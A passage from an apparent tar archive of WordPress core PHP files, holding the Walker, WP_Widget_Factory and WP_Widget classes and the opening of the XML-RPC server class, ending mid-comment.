structures. * * Extend the Walker class to use it, see examples below. Child classes * do not need to implement all of the abstract methods in the class. The child * only needs to implement the methods that are needed. * * @since 2.1.0 * * @package WordPress * @abstract */ class Walker { /** * What the class handles. * * @since 2.1.0 * @var string */ public $tree_type; /** * DB fields to use. * * @since 2.1.0 * @var array */ public $db_fields; /** * Max number of pages walked by the paged walker * * @since 2.7.0 * @var int */ public $max_pages = 1; /** * Whether the current element has children or not. * * To be used in start_el(). * * @since 4.0.0 * @var bool */ public $has_children; /** * Starts the list before the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method is called at the start of the output list. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function start_lvl( &$output, $depth = 0, $args = array() ) {} /** * Ends the list of after the elements are added. * * The $args parameter holds additional values that may be used with the child * class methods. This method finishes the list at the end of output of the elements. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_lvl( &$output, $depth = 0, $args = array() ) {} /** * Start the element output. * * The $args parameter holds additional values that may be used with the child * class methods. Includes the element output also. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. * @param int $current_object_id ID of the current item. */ public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) {} /** * Ends the element output, if needed. * * The $args parameter holds additional values that may be used with the child class methods. * * @since 2.1.0 * @abstract * * @param string $output Used to append additional content (passed by reference). * @param object $object The data object. * @param int $depth Depth of the item. * @param array $args An array of additional arguments. */ public function end_el( &$output, $object, $depth = 0, $args = array() ) {} /** * Traverse elements to create list from elements. * * Display one element if the element doesn't have any children otherwise, * display the element and its children. Will only traverse up to the max * depth and no ignore elements under that depth. It is possible to set the * max depth to include all depths, see walk() method. * * This method should not be called directly, use the walk() method instead. * * @since 2.5.0 * * @param object $element Data object. * @param array $children_elements List of elements to continue traversing (passed by reference). * @param int $max_depth Max depth to traverse. * @param int $depth Depth of current element. * @param array $args An array of arguments. * @param string $output Used to append additional content (passed by reference). */ public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) { if ( ! $element ) { return; } $id_field = $this->db_fields['id']; $id = $element->$id_field; // Display this element. $this->has_children = ! empty( $children_elements[ $id ] ); if ( isset( $args[0] ) && is_array( $args[0] ) ) { $args[0]['has_children'] = $this->has_children; // Back-compat. } $this->start_el( $output, $element, $depth, ...array_values( $args ) ); // Descend only when the depth is right and there are children for this element. if ( ( 0 == $max_depth || $max_depth > $depth + 1 ) && isset( $children_elements[ $id ] ) ) { foreach ( $children_elements[ $id ] as $child ) { if ( ! isset( $newlevel ) ) { $newlevel = true; // Start the child delimiter. $this->start_lvl( $output, $depth, ...array_values( $args ) ); } $this->display_element( $child, $children_elements, $max_depth, $depth + 1, $args, $output ); } unset( $children_elements[ $id ] ); } if ( isset( $newlevel ) && $newlevel ) { // End the child delimiter. $this->end_lvl( $output, $depth, ...array_values( $args ) ); } // End this element. $this->end_el( $output, $element, $depth, ...array_values( $args ) ); } /** * Display array of elements hierarchically. * * Does not assume any existing order of elements. * * $max_depth = -1 means flatly display every element. * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.1.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements An array of elements. * @param int $max_depth The maximum hierarchical depth. * @param mixed ...$args Optional additional arguments. * @return string The hierarchical item output. */ public function walk( $elements, $max_depth, ...$args ) { $output = ''; // Invalid parameter or nothing to walk. if ( $max_depth < -1 || empty( $elements ) ) { return $output; } $parent_field = $this->db_fields['parent']; // Flat display. if ( -1 == $max_depth ) { $empty_array = array(); foreach ( $elements as $e ) { $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Need to display in hierarchical order. * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, eg. * Children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( empty( $e->$parent_field ) ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } /* * When none of the elements is top level. * Assume the first one must be root of the sub elements. */ if ( empty( $top_level_elements ) ) { $first = array_slice( $elements, 0, 1 ); $root = $first[0]; $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( $root->$parent_field == $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } } foreach ( $top_level_elements as $e ) { $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } /* * If we are displaying all levels, and remaining children_elements is not empty, * then we got orphans, which should be displayed regardless. */ if ( ( 0 == $max_depth ) && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * paged_walk() - produce a page of nested elements * * Given an array of hierarchical elements, the maximum depth, a specific page number, * and number of elements per page, this function first determines all top level root elements * belonging to that page, then lists them and all of their children in hierarchical order. * * $max_depth = 0 means display all levels. * $max_depth > 0 specifies the number of display levels. * * @since 2.7.0 * @since 5.3.0 Formalized the existing `...$args` parameter by adding it * to the function signature. * * @param array $elements * @param int $max_depth The maximum hierarchical depth. * @param int $page_num The specific page number, beginning with 1. * @param int $per_page * @param mixed ...$args Optional additional arguments. * @return string XHTML of the specified page of elements */ public function paged_walk( $elements, $max_depth, $page_num, $per_page, ...$args ) { if ( empty( $elements ) || $max_depth < -1 ) { return ''; } $output = ''; $parent_field = $this->db_fields['parent']; $count = -1; if ( -1 == $max_depth ) { $total_top = count( $elements ); } if ( $page_num < 1 || $per_page < 0 ) { // No paging. $paging = false; $start = 0; if ( -1 == $max_depth ) { $end = $total_top; } $this->max_pages = 1; } else { $paging = true; $start = ( (int) $page_num - 1 ) * (int) $per_page; $end = $start + $per_page; if ( -1 == $max_depth ) { $this->max_pages = ceil( $total_top / $per_page ); } } // Flat display. if ( -1 == $max_depth ) { if ( ! empty( $args[0]['reverse_top_level'] ) ) { $elements = array_reverse( $elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } $empty_array = array(); foreach ( $elements as $e ) { $count++; if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $empty_array, 1, 0, $args, $output ); } return $output; } /* * Separate elements into two buckets: top level and children elements. * Children_elements is two dimensional array, e.g. * $children_elements[10][] contains all sub-elements whose parent is 10. */ $top_level_elements = array(); $children_elements = array(); foreach ( $elements as $e ) { if ( 0 == $e->$parent_field ) { $top_level_elements[] = $e; } else { $children_elements[ $e->$parent_field ][] = $e; } } $total_top = count( $top_level_elements ); if ( $paging ) { $this->max_pages = ceil( $total_top / $per_page ); } else { $end = $total_top; } if ( ! empty( $args[0]['reverse_top_level'] ) ) { $top_level_elements = array_reverse( $top_level_elements ); $oldstart = $start; $start = $total_top - $end; $end = $total_top - $oldstart; } if ( ! empty( $args[0]['reverse_children'] ) ) { foreach ( $children_elements as $parent => $children ) { $children_elements[ $parent ] = array_reverse( $children ); } } foreach ( $top_level_elements as $e ) { $count++; // For the last page, need to unset earlier children in order to keep track of orphans. if ( $end >= $total_top && $count < $start ) { $this->unset_children( $e, $children_elements ); } if ( $count < $start ) { continue; } if ( $count >= $end ) { break; } $this->display_element( $e, $children_elements, $max_depth, 0, $args, $output ); } if ( $end >= $total_top && count( $children_elements ) > 0 ) { $empty_array = array(); foreach ( $children_elements as $orphans ) { foreach ( $orphans as $op ) { $this->display_element( $op, $empty_array, 1, 0, $args, $output ); } } } return $output; } /** * Calculates the total number of root elements. * * @since 2.7.0 * * @param array $elements Elements to list. * @return int Number of root elements. */ public function get_number_of_root_elements( $elements ) { $num = 0; $parent_field = $this->db_fields['parent']; foreach ( $elements as $e ) { if ( 0 == $e->$parent_field ) { $num++; } } return $num; } /** * Unset all the children for a given top level element. * * @since 2.7.0 * * @param object $e * @param array $children_elements */ public function unset_children( $e, &$children_elements ) { if ( ! $e || ! $children_elements ) { return; } $id_field = $this->db_fields['id']; $id = $e->$id_field; if ( ! empty( $children_elements[ $id ] ) && is_array( $children_elements[ $id ] ) ) { foreach ( (array) $children_elements[ $id ] as $child ) { $this->unset_children( $child, $children_elements ); } } unset( $children_elements[ $id ] ); } } ������������������������������������������������������������������������������class-wp-widget-factory.php�������������������������������������������������������������������������0000644�����������������00000005074�15120262030�0011731 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Widget API: WP_Widget_Factory class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Singleton that registers and instantiates WP_Widget classes. * * @since 2.8.0 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php */ class WP_Widget_Factory { /** * Widgets array. * * @since 2.8.0 * @var array */ public $widgets = array(); /** * PHP5 constructor. * * @since 4.3.0 */ public function __construct() { add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 ); } /** * PHP4 constructor. * * @since 2.8.0 * @deprecated 4.3.0 Use __construct() instead. * * @see WP_Widget_Factory::__construct() */ public function WP_Widget_Factory() { _deprecated_constructor( 'WP_Widget_Factory', '4.3.0' ); self::__construct(); } /** * Registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function register( $widget ) { if ( $widget instanceof WP_Widget ) { $this->widgets[ spl_object_hash( $widget ) ] = $widget; } else { $this->widgets[ $widget ] = new $widget(); } } /** * Un-registers a widget subclass. * * @since 2.8.0 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object * instead of simply a `WP_Widget` subclass name. * * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass. */ public function unregister( $widget ) { if ( $widget instanceof WP_Widget ) { unset( $this->widgets[ spl_object_hash( $widget ) ] ); } else { unset( $this->widgets[ $widget ] ); } } /** * Serves as a utility method for adding widgets to the registered widgets global. * * @since 2.8.0 * * @global array $wp_registered_widgets */ public function _register_widgets() { global $wp_registered_widgets; $keys = array_keys( $this->widgets ); $registered = array_keys( $wp_registered_widgets ); $registered = array_map( '_get_widget_id_base', $registered ); foreach ( $keys as $key ) { // Don't register new widget if old widget with the same id is already registered. if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) { unset( $this->widgets[ $key ] ); continue; } $this->widgets[ $key ]->_register(); } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-widget.php���������������������������������������������������������������������������������0000644�����������������00000042752�15120262030�0010270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Widget API: WP_Widget base class * * @package WordPress * @subpackage Widgets * @since 4.4.0 */ /** * Core base class extended to register widgets. * * This class must be extended for each widget, and WP_Widget::widget() must be overridden. * * If adding widget options, WP_Widget::update() and WP_Widget::form() should also be overridden. * * @since 2.8.0 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php */ class WP_Widget { /** * Root ID for all widgets of this type. * * @since 2.8.0 * @var mixed|string */ public $id_base; /** * Name for this widget type. * * @since 2.8.0 * @var string */ public $name; /** * Option name for this widget type. * * @since 2.8.0 * @var string */ public $option_name; /** * Alt option name for this widget type. * * @since 2.8.0 * @var string */ public $alt_option_name; /** * Option array passed to wp_register_sidebar_widget(). * * @since 2.8.0 * @var array */ public $widget_options; /** * Option array passed to wp_register_widget_control(). * * @since 2.8.0 * @var array */ public $control_options; /** * Unique ID number of the current instance. * * @since 2.8.0 * @var bool|int */ public $number = false; /** * Unique ID string of the current instance (id_base-number). * * @since 2.8.0 * @var bool|string */ public $id = false; /** * Whether the widget data has been updated. * * Set to true when the data is updated after a POST submit - ensures it does * not happen twice. * * @since 2.8.0 * @var bool */ public $updated = false; // // Member functions that must be overridden by subclasses. // /** * Echoes the widget content. * * Subclasses should override this function to generate their widget code. * * @since 2.8.0 * * @param array $args Display arguments including 'before_title', 'after_title', * 'before_widget', and 'after_widget'. * @param array $instance The settings for the particular instance of the widget. */ public function widget( $args, $instance ) { die( 'function WP_Widget::widget() must be overridden in a subclass.' ); } /** * Updates a particular instance of a widget. * * This function should check that `$new_instance` is set correctly. The newly-calculated * value of `$instance` should be returned. If false is returned, the instance won't be * saved/updated. * * @since 2.8.0 * * @param array $new_instance New settings for this instance as input by the user via * WP_Widget::form(). * @param array $old_instance Old settings for this instance. * @return array Settings to save or bool false to cancel saving. */ public function update( $new_instance, $old_instance ) { return $new_instance; } /** * Outputs the settings update form. * * @since 2.8.0 * * @param array $instance Current settings. * @return string Default return is 'noform'. */ public function form( $instance ) { echo '<p class="no-options-widget">' . __( 'There are no options for this widget.' ) . '</p>'; return 'noform'; } // Functions you'll need to call. /** * PHP5 constructor. * * @since 2.8.0 * * @param string $id_base Optional. Base ID for the widget, lowercase and unique. If left empty, * a portion of the widget's class name will be used. Has to be unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for * information on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() for * information on accepted arguments. Default empty array. */ public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) { $this->id_base = empty( $id_base ) ? preg_replace( '/(wp_)?widget_/', '', strtolower( get_class( $this ) ) ) : strtolower( $id_base ); $this->name = $name; $this->option_name = 'widget_' . $this->id_base; $this->widget_options = wp_parse_args( $widget_options, array( 'classname' => $this->option_name, 'customize_selective_refresh' => false, ) ); $this->control_options = wp_parse_args( $control_options, array( 'id_base' => $this->id_base ) ); } /** * PHP4 constructor. * * @since 2.8.0 * @deprecated 4.3.0 Use __construct() instead. * * @see WP_Widget::__construct() * * @param string $id_base Optional. Base ID for the widget, lowercase and unique. If left empty, * a portion of the widget's class name will be used. Has to be unique. * @param string $name Name for the widget displayed on the configuration page. * @param array $widget_options Optional. Widget options. See wp_register_sidebar_widget() for * information on accepted arguments. Default empty array. * @param array $control_options Optional. Widget control options. See wp_register_widget_control() for * information on accepted arguments. Default empty array. */ public function WP_Widget( $id_base, $name, $widget_options = array(), $control_options = array() ) { _deprecated_constructor( 'WP_Widget', '4.3.0', get_class( $this ) ); WP_Widget::__construct( $id_base, $name, $widget_options, $control_options ); } /** * Constructs name attributes for use in form() fields * * This function should be used in form() methods to create name attributes for fields * to be saved by update() * * @since 2.8.0 * @since 4.4.0 Array format field names are now accepted. * * @param string $field_name Field name * @return string Name attribute for $field_name */ public function get_field_name( $field_name ) { $pos = strpos( $field_name, '[' ); if ( false === $pos ) { return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']'; } else { return 'widget-' . $this->id_base . '[' . $this->number . '][' . substr_replace( $field_name, '][', $pos, strlen( '[' ) ); } } /** * Constructs id attributes for use in WP_Widget::form() fields. * * This function should be used in form() methods to create id attributes * for fields to be saved by WP_Widget::update(). * * @since 2.8.0 * @since 4.4.0 Array format field IDs are now accepted. * * @param string $field_name Field name. * @return string ID attribute for `$field_name`. */ public function get_field_id( $field_name ) { return 'widget-' . $this->id_base . '-' . $this->number . '-' . trim( str_replace( array( '[]', '[', ']' ), array( '', '-', '' ), $field_name ), '-' ); } /** * Register all widget instances of this widget class. * * @since 2.8.0 */ public function _register() { $settings = $this->get_settings(); $empty = true; // When $settings is an array-like object, get an intrinsic array for use with array_keys(). if ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) { $settings = $settings->getArrayCopy(); } if ( is_array( $settings ) ) { foreach ( array_keys( $settings ) as $number ) { if ( is_numeric( $number ) ) { $this->_set( $number ); $this->_register_one( $number ); $empty = false; } } } if ( $empty ) { // If there are none, we register the widget's existence with a generic template. $this->_set( 1 ); $this->_register_one(); } } /** * Sets the internal order number for the widget instance. * * @since 2.8.0 * * @param int $number The unique order number of this widget instance compared to other * instances of the same class. */ public function _set( $number ) { $this->number = $number; $this->id = $this->id_base . '-' . $number; } /** * Retrieves the widget display callback. * * @since 2.8.0 * * @return callable Display callback. */ public function _get_display_callback() { return array( $this, 'display_callback' ); } /** * Retrieves the widget update callback. * * @since 2.8.0 * * @return callable Update callback. */ public function _get_update_callback() { return array( $this, 'update_callback' ); } /** * Retrieves the form callback. * * @since 2.8.0 * * @return callable Form callback. */ public function _get_form_callback() { return array( $this, 'form_callback' ); } /** * Determines whether the current request is inside the Customizer preview. * * If true -- the current request is inside the Customizer preview, then * the object cache gets suspended and widgets should check this to decide * whether they should store anything persistently to the object cache, * to transients, or anywhere else. * * @since 3.9.0 * * @global WP_Customize_Manager $wp_customize * * @return bool True if within the Customizer preview, false if not. */ public function is_preview() { global $wp_customize; return ( isset( $wp_customize ) && $wp_customize->is_preview() ); } /** * Generates the actual widget content (Do NOT override). * * Finds the instance and calls WP_Widget::widget(). * * @since 2.8.0 * * @param array $args Display arguments. See WP_Widget::widget() for information * on accepted arguments. * @param int|array $widget_args { * Optional. Internal order number of the widget instance, or array of multi-widget arguments. * Default 1. * * @type int $number Number increment used for multiples of the same widget. * } */ public function display_callback( $args, $widget_args = 1 ) { if ( is_numeric( $widget_args ) ) { $widget_args = array( 'number' => $widget_args ); } $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $this->_set( $widget_args['number'] ); $instances = $this->get_settings(); if ( array_key_exists( $this->number, $instances ) ) { $instance = $instances[ $this->number ]; /** * Filters the settings for a particular widget instance. * * Returning false will effectively short-circuit display of the widget. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param WP_Widget $widget The current widget instance. * @param array $args An array of default widget arguments. */ $instance = apply_filters( 'widget_display_callback', $instance, $this, $args ); if ( false === $instance ) { return; } $was_cache_addition_suspended = wp_suspend_cache_addition(); if ( $this->is_preview() && ! $was_cache_addition_suspended ) { wp_suspend_cache_addition( true ); } $this->widget( $args, $instance ); if ( $this->is_preview() ) { wp_suspend_cache_addition( $was_cache_addition_suspended ); } } } /** * Handles changed settings (Do NOT override). * * @since 2.8.0 * * @global array $wp_registered_widgets * * @param int $deprecated Not used. */ public function update_callback( $deprecated = 1 ) { global $wp_registered_widgets; $all_instances = $this->get_settings(); // We need to update the data. if ( $this->updated ) { return; } if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) { // Delete the settings for this instance of the widget. if ( isset( $_POST['the-widget-id'] ) ) { $del_id = $_POST['the-widget-id']; } else { return; } if ( isset( $wp_registered_widgets[ $del_id ]['params'][0]['number'] ) ) { $number = $wp_registered_widgets[ $del_id ]['params'][0]['number']; if ( $this->id_base . '-' . $number == $del_id ) { unset( $all_instances[ $number ] ); } } } else { if ( isset( $_POST[ 'widget-' . $this->id_base ] ) && is_array( $_POST[ 'widget-' . $this->id_base ] ) ) { $settings = $_POST[ 'widget-' . $this->id_base ]; } elseif ( isset( $_POST['id_base'] ) && $_POST['id_base'] == $this->id_base ) { $num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number']; $settings = array( $num => array() ); } else { return; } foreach ( $settings as $number => $new_instance ) { $new_instance = stripslashes_deep( $new_instance ); $this->_set( $number ); $old_instance = isset( $all_instances[ $number ] ) ? $all_instances[ $number ] : array(); $was_cache_addition_suspended = wp_suspend_cache_addition(); if ( $this->is_preview() && ! $was_cache_addition_suspended ) { wp_suspend_cache_addition( true ); } $instance = $this->update( $new_instance, $old_instance ); if ( $this->is_preview() ) { wp_suspend_cache_addition( $was_cache_addition_suspended ); } /** * Filters a widget's settings before saving. * * Returning false will effectively short-circuit the widget's ability * to update settings. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param array $new_instance Array of new widget settings. * @param array $old_instance Array of old widget settings. * @param WP_Widget $widget The current widget instance. */ $instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $this ); if ( false !== $instance ) { $all_instances[ $number ] = $instance; } break; // Run only once. } } $this->save_settings( $all_instances ); $this->updated = true; } /** * Generates the widget control form (Do NOT override). * * @since 2.8.0 * * @param int|array $widget_args { * Optional. Internal order number of the widget instance, or array of multi-widget arguments. * Default 1. * * @type int $number Number increment used for multiples of the same widget. * } * @return string|null */ public function form_callback( $widget_args = 1 ) { if ( is_numeric( $widget_args ) ) { $widget_args = array( 'number' => $widget_args ); } $widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) ); $all_instances = $this->get_settings(); if ( -1 == $widget_args['number'] ) { // We echo out a form where 'number' can be set later. $this->_set( '__i__' ); $instance = array(); } else { $this->_set( $widget_args['number'] ); $instance = $all_instances[ $widget_args['number'] ]; } /** * Filters the widget instance's settings before displaying the control form. * * Returning false effectively short-circuits display of the control form. * * @since 2.8.0 * * @param array $instance The current widget instance's settings. * @param WP_Widget $widget The current widget instance. */ $instance = apply_filters( 'widget_form_callback', $instance, $this ); $return = null; if ( false !== $instance ) { $return = $this->form( $instance ); /** * Fires at the end of the widget control form. * * Use this hook to add extra fields to the widget form. The hook * is only fired if the value passed to the 'widget_form_callback' * hook is not false. * * Note: If the widget has no form, the text echoed from the default * form method can be hidden using CSS. * * @since 2.8.0 * * @param WP_Widget $widget The widget instance (passed by reference). * @param null $return Return null if new fields are added. * @param array $instance An array of the widget's settings. */ do_action_ref_array( 'in_widget_form', array( &$this, &$return, $instance ) ); } return $return; } /** * Registers an instance of the widget class. * * @since 2.8.0 * * @param int $number Optional. The unique order number of this widget instance * compared to other instances of the same class. Default -1. */ public function _register_one( $number = -1 ) { wp_register_sidebar_widget( $this->id, $this->name, $this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) ); _register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) ); _register_widget_form_callback( $this->id, $this->name, $this->_get_form_callback(), $this->control_options, array( 'number' => $number ) ); } /** * Saves the settings for all instances of the widget class. * * @since 2.8.0 * * @param array $settings Multi-dimensional array of widget instance settings. */ public function save_settings( $settings ) { $settings['_multiwidget'] = 1; update_option( $this->option_name, $settings ); } /** * Retrieves the settings for all instances of the widget class. * * @since 2.8.0 * * @return array Multi-dimensional array of widget instance settings. */ public function get_settings() { $settings = get_option( $this->option_name ); if ( false === $settings ) { if ( isset( $this->alt_option_name ) ) { $settings = get_option( $this->alt_option_name ); } else { // Save an option so it can be autoloaded next time. $this->save_settings( array() ); } } if ( ! is_array( $settings ) && ! ( $settings instanceof ArrayObject || $settings instanceof ArrayIterator ) ) { $settings = array(); } if ( ! empty( $settings ) && ! isset( $settings['_multiwidget'] ) ) { // Old format, convert if single widget. $settings = wp_convert_widget_settings( $this->id_base, $this->option_name, $settings ); } unset( $settings['_multiwidget'], $settings['__i__'] ); return $settings; } } ����������������������class-wp-xmlrpc-server.php��������������������������������������������������������������������������0000644�����������������00000635605�15120262030�0011623 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * XML-RPC protocol support for WordPress * * @package WordPress * @subpackage Publishing */ /** * WordPress XMLRPC server implementation. * * Implements compatibility for Blogger API, MetaWeblog API, MovableType, and * pingback. Additional WordPress API for managing comments, pages, posts, * options, etc. * * As of WordPress 3.5.0, XML-RPC is enabled by default. It can be disabled * via the {@see 'xmlrpc_enabled'} filter found in wp_xmlrpc_server::login(). * * @since 1.5.0 * * @see IXR_Server */ class wp_xmlrpc_server extends IXR_Server { /** * Methods. * * @var array */ public $methods; /** * Blog options. * * @var array */ public $blog_options; /** * IXR_Error instance. * * @var IXR_Error */ public $error; /** * Flags that the user authentication has failed in this instance of wp_xmlrpc_server. * * @var bool */ protected $auth_failed = false; /** * Registers all of the XMLRPC methods that XMLRPC server understands. * * Sets up server and method property. Passes XMLRPC * methods through the {@see 'xmlrpc_methods'} filter to allow plugins to extend * or replace XML-RPC methods. * * @since 1.5.0 */ public function __construct() { $this->methods = array( // WordPress API. 'wp.getUsersBlogs' => 'this:wp_getUsersBlogs', 'wp.newPost' => 'this:wp_newPost', 'wp.editPost' => 'this:wp_editPost', 'wp.deletePost' => 'this:wp_deletePost', 'wp.getPost' => 'this:wp_getPost', 'wp.getPosts' => 'this:wp_getPosts', 'wp.newTerm' => 'this:wp_newTerm', 'wp.editTerm' => 'this:wp_editTerm', 'wp.deleteTerm' => 'this:wp_deleteTerm', 'wp.getTerm' => 'this:wp_getTerm', 'wp.getTerms' => 'this:wp_getTerms', 'wp.getTaxonomy' => 'this:wp_getTaxonomy', 'wp.getTaxonomies' => 'this:wp_getTaxonomies', 'wp.getUser' => 'this:wp_getUser', 'wp.getUsers' => 'this:wp_getUsers', 'wp.getProfile' => 'this:wp_getProfile', 'wp.editProfile' => 'this:wp_editProfile', 'wp.getPage' => 'this:wp_getPage', 'wp.getPages' => 'this:wp_getPages', 'wp.newPage' => 'this:wp_newPage', 'wp.deletePage' => 'this:wp_deletePage', 'wp.editPage' => 'this:wp_editPage', 'wp.getPageList' => 'this:wp_getPageList', 'wp.getAuthors' => 'this:wp_getAuthors', 'wp.getCategories' => 'this:mw_getCategories', // Alias. 'wp.getTags' => 'this:wp_getTags', 'wp.newCategory' => 'this:wp_newCategory', 'wp.deleteCategory' => 'this:wp_deleteCategory', 'wp.suggestCategories' => 'this:wp_suggestCategories', 'wp.uploadFile' => 'this:mw_newMediaObject', // Alias. 'wp.deleteFile' => 'this:wp_deletePost', // Alias. 'wp.getCommentCount' => 'this:wp_getCommentCount', 'wp.getPostStatusList' => 'this:wp_getPostStatusList', 'wp.getPageStatusList' => 'this:wp_getPageStatusList', 'wp.getPageTemplates' => 'this:wp_getPageTemplates', 'wp.getOptions' => 'this:wp_getOptions', 'wp.setOptions' => 'this:wp_setOptions', 'wp.getComment' => 'this:wp_getComment', 'wp.getComments' => 'this:wp_getComments', 'wp.deleteComment' => 'this:wp_deleteComment', 'wp.editComment' => 'this:wp_editComment', 'wp.newComment' => 'this:wp_newComment', 'wp.getCommentStatusList' => 'this:wp_getCommentStatusList', 'wp.getMediaItem' => 'this:wp_getMediaItem', 'wp.getMediaLibrary' => 'this:wp_getMediaLibrary', 'wp.getPostFormats' => 'this:wp_getPostFormats', 'wp.getPostType' => 'this:wp_getPostType', 'wp.getPostTypes' => 'this:wp_getPostTypes', 'wp.getRevisions' => 'this:wp_getRevisions', 'wp.restoreRevision' => 'this:wp_restoreRevision', // Blogger API. 'blogger.getUsersBlogs' => 'this:blogger_getUsersBlogs', 'blogger.getUserInfo' => 'this:blogger_getUserInfo', 'blogger.getPost' => 'this:blogger_getPost', 'blogger.getRecentPosts' => 'this:blogger_getRecentPosts', 'blogger.newPost' => 'this:blogger_newPost', 'blogger.editPost' => 'this:blogger_editPost', 'blogger.deletePost' => 'this:blogger_deletePost', // MetaWeblog API (with MT extensions to structs). 'metaWeblog.newPost' => 'this:mw_newPost', 'metaWeblog.editPost' => 'this:mw_editPost', 'metaWeblog.getPost' => 'this:mw_getPost', 'metaWeblog.getRecentPosts' => 'this:mw_getRecentPosts', 'metaWeblog.getCategories' => 'this:mw_getCategories', 'metaWeblog.newMediaObject' => 'this:mw_newMediaObject', // MetaWeblog API aliases for Blogger API. // See http://www.xmlrpc.com/stories/storyReader$2460 'metaWeblog.deletePost' => 'this:blogger_deletePost', 'metaWeblog.getUsersBlogs' => 'this:blogger_getUsersBlogs', // MovableType API. 'mt.getCategoryList' => 'this:mt_getCategoryList', 'mt.getRecentPostTitles' => 'this:mt_getRecentPostTitles', 'mt.getPostCategories' => 'this:mt_getPostCategories', 'mt.setPostCategories' => 'this:mt_setPostCategories', 'mt.supportedMethods' => 'this:mt_supportedMethods', 'mt.supportedTextFilters' => 'this:mt_supportedTextFilters', 'mt.getTrackbackPings' => 'this:mt_getTrackbackPings', 'mt.publishPost' => 'this:mt_publishPost', // Pingback. 'pingback.ping' => 'this:pingback_ping', 'pingback.extensions.getPingbacks' => 'this:pingback_extensions_getPingbacks', 'demo.sayHello' => 'this:sayHello', 'demo.addTwoNumbers' => 'this:addTwoNumbers', ); $this->initialise_blog_option_info(); /** * Filters the methods exposed by the XML-RPC server. * * This filter can be used to add new methods, and remove built-in methods. * * @since 1.5.0 * * @param string[] $methods An array of XML-RPC methods, keyed by their methodName. */ $this->methods = apply_filters( 'xmlrpc_methods', $this->methods ); } /** * Make private/protected methods readable for backward compatibility. * * @since 4.0.0 * * @param string $name Method to call. * @param array $arguments Arguments to pass when calling. * @return array|IXR_Error|false Return value of the callback, false otherwise. */ public function __call( $name, $arguments ) { if ( '_multisite_getUsersBlogs' === $name ) { return $this->_multisite_getUsersBlogs( ...$arguments ); } return false; } /** * Serves the XML-RPC request. * * @since 2.9.0 */ public function serve_request() { $this->IXR_Server( $this->methods ); } /** * Test XMLRPC API by saying, "Hello!" to client. * * @since 1.5.0 * * @return string Hello string response. */ public function sayHello() { return 'Hello!'; } /** * Test XMLRPC API by adding two numbers for client. * * @since 1.5.0 * * @param array $args { * Method arguments. Note: arguments must be ordered as documented. * * @type int $number1 A number to add. * @type int $number2 A second number to add. * } * @return int Sum of the two given numbers. */ public function addTwoNumbers( $args ) { $number1 = $args[0]; $number2 = $args[1]; return $number1 + $number2; } /** * Log user in. * * @since 2.8.0 * * @param string $username User's username. * @param string $password User's password. * @return WP_User|false WP_User object if authentication passed, false otherwise */ public function login( $username, $password ) { /* * Respect old get_option() filters left for back-compat when the 'enable_xmlrpc' * option was deprecated in 3.5.0. Use 